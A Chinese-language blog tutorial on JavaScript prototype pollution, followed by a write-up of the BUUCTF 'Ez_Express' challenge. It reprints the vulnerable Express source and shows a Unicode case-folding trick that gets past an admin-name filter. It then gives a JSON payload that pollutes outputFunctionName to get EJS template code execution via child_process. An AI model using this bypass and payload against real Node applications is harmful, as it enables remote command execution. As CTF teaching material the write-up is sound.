原型链污染

发布时间 2023-07-16 22:17:16作者: ordigard

JavaScript里只有对象的概念,每个对象都有一个私有属性指向另一个名为原型(prototype)的对象。原型对象也有自己的原型,层层向上直到一个对象的原型为null。null没有原型,是原型链(prototype chain)的最后一个节点。

__proto__和prototype

JavaScript中的每一个对象都有一个名为__proto__的内置属性,它指向该对象的原型。每个函数都有一个prototype的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。__proto__属性指向该对象的原型,prototype属性是用于创建该对象的构造函数的原型。

function Person(name){
	this.name=name;
}
Person.prototype.greet=function(){
	console.log(`Hello ,my name is ${this.name}`);
};
const person = new Person('Tom');
person.greet();//输出Hello ,my name is Tom

这段代码中构造函数在prototype上设置了一个greet函数,当实例化对象时,person会继承prototype上的greet方法。
实例化出来的person不能通过prototype访问原型,可以通过__proto__访问Person原型

console.log(person.__proto__===Person.prototype);//true

继承属性

当试图访问一个对象的属性时,它不仅会在该对象上搜寻,还会搜寻该对象的原型,向上层层搜索,直到找到一个名字匹配的属性或者到达原型链的末尾。比如:{a:1,b:2,__proto:c},在这样一个对象变量中,c的值必须是null或者另一个对象,ab则是对象的普通属性。

const o = {
	a:1,
	b:2,
	__proto__:{
		c:3,
		d:4
	}
}
console.log(o.a)//1
console.log(o.c)//3
const o = {
	a:1,
	b:2,
	__proto__:{
		b:3,
		d:4,
		__proto__:{
			e:5
		}
	}
}
console.log(o.b)//2(本层有就不会访问上一层的,又称属性屏蔽)
console.log(o.e)//5

继承方法

任何函数都可以被添加到对象上作为其属性。函数的继承与属性的继承没有什么差别。也具有属性屏蔽的性质(方法重写)。

const person={
	value:2,
	method(){
		return this.value+1;
	}
}
console.log(person.method());//3
const child={
	__proto__:parent;
}
console.log(child.method());//3
child.value=4;//child:{value:4,__proto__:{value:2,method(){xxx}}}
console.log(child.method())//5

原型链污染原理

举个例子

var a = {number : 520} 
var b = {number : 1314} 
b.__proto__.number=520 
var c= {} 
c.number //520
typeof(b.__proto__);//object
typeof(c.__proto__);//object

c为什么会有number属性,并且值为520。可以看到c和b的原型都一样是object,之前b.__proto__.number=520这条语句相当于对原型链进行了污染,c虽然是空对象,但是原型链中有number,因此c.number=520
常见的merge(将一个对象的内容复制到另一个对象中)和clone(将一个对象merge到一个空对象中)这两个函数是造成原型链污染的点。

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            // 如果target与source有相同的键名 则让target的键值为source的键值
            merge(target[key], source[key])
        } else {
            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
        }
    }
}
let o1={}
let o2=JSON.parse('{"a":1,"__proto__":{"b":2}}')
merge(o1,o2)
console(o1.a,o2.b)//1 2
o3={}
console.log(o3.b)//2

为什么要用JSON.parse,因为再json的解析下__proto__会被认为是一个键名,而不再代表原型。当它是一个键名的时候才会参与merge,否则不参与。

buuctf-Ez_Express

题目给了源码,下载源码里面有app.js和index.js,开始审计:

#app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
const session = require('express-session')
const randomize = require('randomatic')
const bodyParser = require('body-parser')

var indexRouter = require('./routes/index');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.disable('etag');
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;
#index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){
  res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

index.js中存在merge和clone函数,存在原型链污染漏洞。
调用clone的地方在/action。

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){
  res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

要求用户名为ADMIN才能进行clone。再看login

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

safekeyword函数过滤了admin关键字,不能直接用admin注册。注意到'user':req.body.userid.toUpperCase()

'admın'.toUpperCase()//ADMIN
'ſ'.toUpperCase()//S
"K".toLowerCase()//k

ı,ſ,K都是特殊字符,但其经过大小写转换函数以后可以变成正常的英文字符。这里使用'admın'注册。

router.get('/info', function (req, res) { 
	res.render('index',data={'user':res.outputFunctionName}); 
})

其中outputFunctionName是未定义的,可以用原型链污染来执行命令,先访问/action进行原型链污染,再访问/info进行模板渲染。
抓/action的包,Content-Type设为application/json
在body中写:

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

再访问/info下载得到flag。